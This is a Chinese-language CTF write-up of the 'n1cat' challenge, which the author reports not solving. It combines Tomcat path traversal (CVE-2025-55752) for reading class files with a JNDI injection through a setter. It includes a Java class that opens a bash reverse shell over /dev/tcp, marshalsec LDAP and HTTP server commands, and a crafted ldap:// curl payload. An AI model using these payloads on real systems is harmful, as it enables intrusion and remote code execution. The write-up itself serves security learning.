n1cat
虽然没做出来,但是也学到了低版本JNDI注入,这里整理一下思路
首先打开示例看到非常经典的Java后端页面,发现自带参数name和word
传个?name={{7*7}}&word=welcome,发现有报错,得知服务器用的是Apache Tomcat/9.0.108
找找这个版本的Tomcat有没有CVE
结合附件
1
2
|
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
|
发现符合CVE-2025-55752的特征
漏洞原理是:
- 变更
前的关键代码
- 代码位置:
java/org/apache/catalina/valves/rewrite/RewriteValve.java
1
2
3
|
#500-597
urlStringRewriteEncoded = RequestUtil.normalize(urlStringRewriteEncoded);
chunk.append(URLDecoder.decode(urlStringRewriteEncoded, uriCharset.name()));
|
- 变更
后的关键代码
- 代码位置:
java/org/apache/catalina/valves/rewrite/RewriteValve.java
1
2
3
|
500-597
String urlStringRewriteDecoded = URLDecoder.decode(urlStringRewriteEncoded, uriCharset.name());
urlStringRewriteDecoded = RequestUtil.normalize(urlStringRewriteDecoded);
|
- 在重写 URL 后,原逻辑先调用
normalize() 再进行 decode(),导致无法识别编码后的路径遍历字符(如 %2e%2e 表示 ..)。
利用条件:
- 必须配置了并启用了
RewriteValve重写规则(server.xml)
- 启用
PUT和WebDAV功能后才可以实现远程代码执行
所以/download?path=%2fWEB-INF%2fweb.xml尝试一下,发现能读到web.xml
1
|
welcomeServlet ctf.n1cat.welcomeServlet welcomeServlet /
|
curl一下看看有没有开放PUT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
┌──(kali㉿kali)-[~]
└─$ curl -X OPTIONS "http://xx.xxx.xxx.xxx:xxxxx" -v
* Trying xx.xxx.xxx.xxx:xxxxx...
* Connected to xx.xxx.xxx.xxx (xx.xxx.xxx.xxx) port xxxxx
* using HTTP/1.x
> OPTIONS / HTTP/1.1
> Host: xx.xxx.xxx.xxx:xxxxx
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200
< Allow: GET, HEAD, OPTIONS
< Content-Length: 0
< Date: Sun, 02 Nov 2025 03:21:52 GMT
<
* Connection
|
可惜没有启用PUT,没法RCE,只能读文件了
结合读到的web.xml,得到了服务器的Servlet 配置:
配置中定义了一个名为welcomeServlet的 Servlet,对应的类是ctf.n1cat.welcomeServlet,并且映射到url-pattern: /(即根路径)
又
在 Java Web 应用中,Servlet 类的字节码文件(.class)通常存放在WEB-INF/classes/目录下,路径与包名对应(包名中的.对应目录分隔符/)。
ctf.n1cat.welcomeServlet
的完整路径为:
WEB-INF/classes/ctf/n1cat/welcomeServlet.class
所以尝试读一下/download?path=%2FWEB-INF%2Fclasses%2Fctf%2Fn1cat%2FwelcomeServlet.class
得到一个download文件,扔进JADX里反编译一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
|
package ctf.n1cat;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "welcomeServlet", value = {"/"})
/* loaded from: download */
public class welcomeServlet extends HttpServlet {
private static final String DEFAULT_NAME = "guest";
private static final String DEFAULT_WORD = "welcome";
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (shouldDelegate(pathWithinApp)) {
delegateToDefaultResource(pathWithinApp, request, response);
return;
}
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (isBlank(jsonPayload) && !isBlank(nameParam) && !isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
if (isBlank(jsonPayload)) {
response.sendRedirect(defaultRedirectTarget(request));
return;
}
try {
User user = (User) OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (isBlank(name) || isBlank(word)) {
response.sendRedirect(defaultRedirectTarget(request));
} else {
renderResponse(response, name, word, url);
}
} catch (RuntimeException e) {
response.sendError(400, "Invalid user data");
} catch (JsonProcessingException e2) {
response.sendError(400, "Invalid JSON payload");
}
}
private boolean shouldDelegate(String pathWithinApp) {
return (pathWithinApp == null || pathWithinApp.isEmpty() || "/".equals(pathWithinApp)) ? false : true;
}
private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}
}
private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try {
out.println("<html><body>");
out.println("<h1>" + escapeHtml(name) + "</h1>");
out.println("<p>" + escapeHtml(word) + "</p>");
if (!isBlank(url)) {
out.println("<p>URL: " + escapeHtml(url) + "</p>");
}
out.println("</body></html>");
if (out != null) {
out.close();
}
} catch (Throwable th) {
if (out != null) {
try {
out.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
}
private String escapeHtml(String input) {
if (input == null) {
return "";
}
return input.replace("&", "&").replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'");
}
private String defaultRedirectTarget(HttpServletRequest request) {
return request.getContextPath() + "/?name=" + urlEncode(DEFAULT_NAME) + "&word=" + urlEncode(DEFAULT_WORD);
}
private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private String urlEncode(String value) {
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
|
可以看到有个User类,看看能不能读到这个User类,用同样的方法读/download?path=WEB-INF%2Fclasses%2Fctf%2Fn1cat%2FUser.class得到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
package ctf.n1cat;
import javax.naming.InitialContext;
import javax.naming.NamingException;
/* loaded from: download(1) */
public class User {
private String name;
private String word;
private String url;
public String getName() {
return this.name;
}
public String getWord() {
return this.word;
}
public void setWord(String password) {
this.word = password;
}
public void setName(String name) throws NamingException {
this.name = name;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
try {
new InitialContext().lookup(url);
} catch (NamingException e) {
throw new RuntimeException((Throwable) e);
}
}
}
|
可以看到这个User类中的setUrl存在JNDI漏洞
漏洞篇 - JNDI 注入详解
利用低版本的JNDI漏洞需要做两个准备工作
首先要搭建一个RMI/LDAP 服务
然后在本机上启一个HTTP服务
想要反弹shell还要额外准备
利用思路是先编写一个恶意的Java类
1
2
3
4
5
6
7
|
import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
String cmd = "bash -i >& /dev/tcp/IP/port 0>&1";
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
}
|
编译成class之后使用LDAP服务引导服务器访问HTTP服务下载我们准备好的class文件并执行,从而达到RCE的目的
这里使用marshalsec来搭建LDAP服务
marshalsec
这个工具需要自己打包成jar包,所以本地需要有Java环境
1
2
|
python -m http.server 8080 //先启一个HTTP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "IP:Port" 1389 //LDAP服务
|
最后使用curl向服务器传参来引导服务器访问LDAP服务,最终RCE
1
|
curl "http://xx.xxx.xxx.xxx:xxxxx/?json=%7B%22name%22:%22test%22,%22word%22:%22test%22,%22url%22:%22ldap://xx.xxx.xxx.xxxxxx.xx:xxxxx/ClassName%22%7D"
|
本来如果是低版本JDK到这里就结束了,但后续怎样尝试都无回显,所以猜测是高版本,由于高版本JDK默认不信任外部代码,所以这道题不能这么简单就做出来,还需要想别的办法。
参考:
Apache Tomcat RewriteValve目录遍历漏洞 | CVE-2025-55752 复现
漏洞篇 - JNDI 注入详解
【已复现】Apache Tomcat 路径遍历漏洞 | 利用有前置条件(CVE-2025-55752)
Java反序列化工具-marshalsec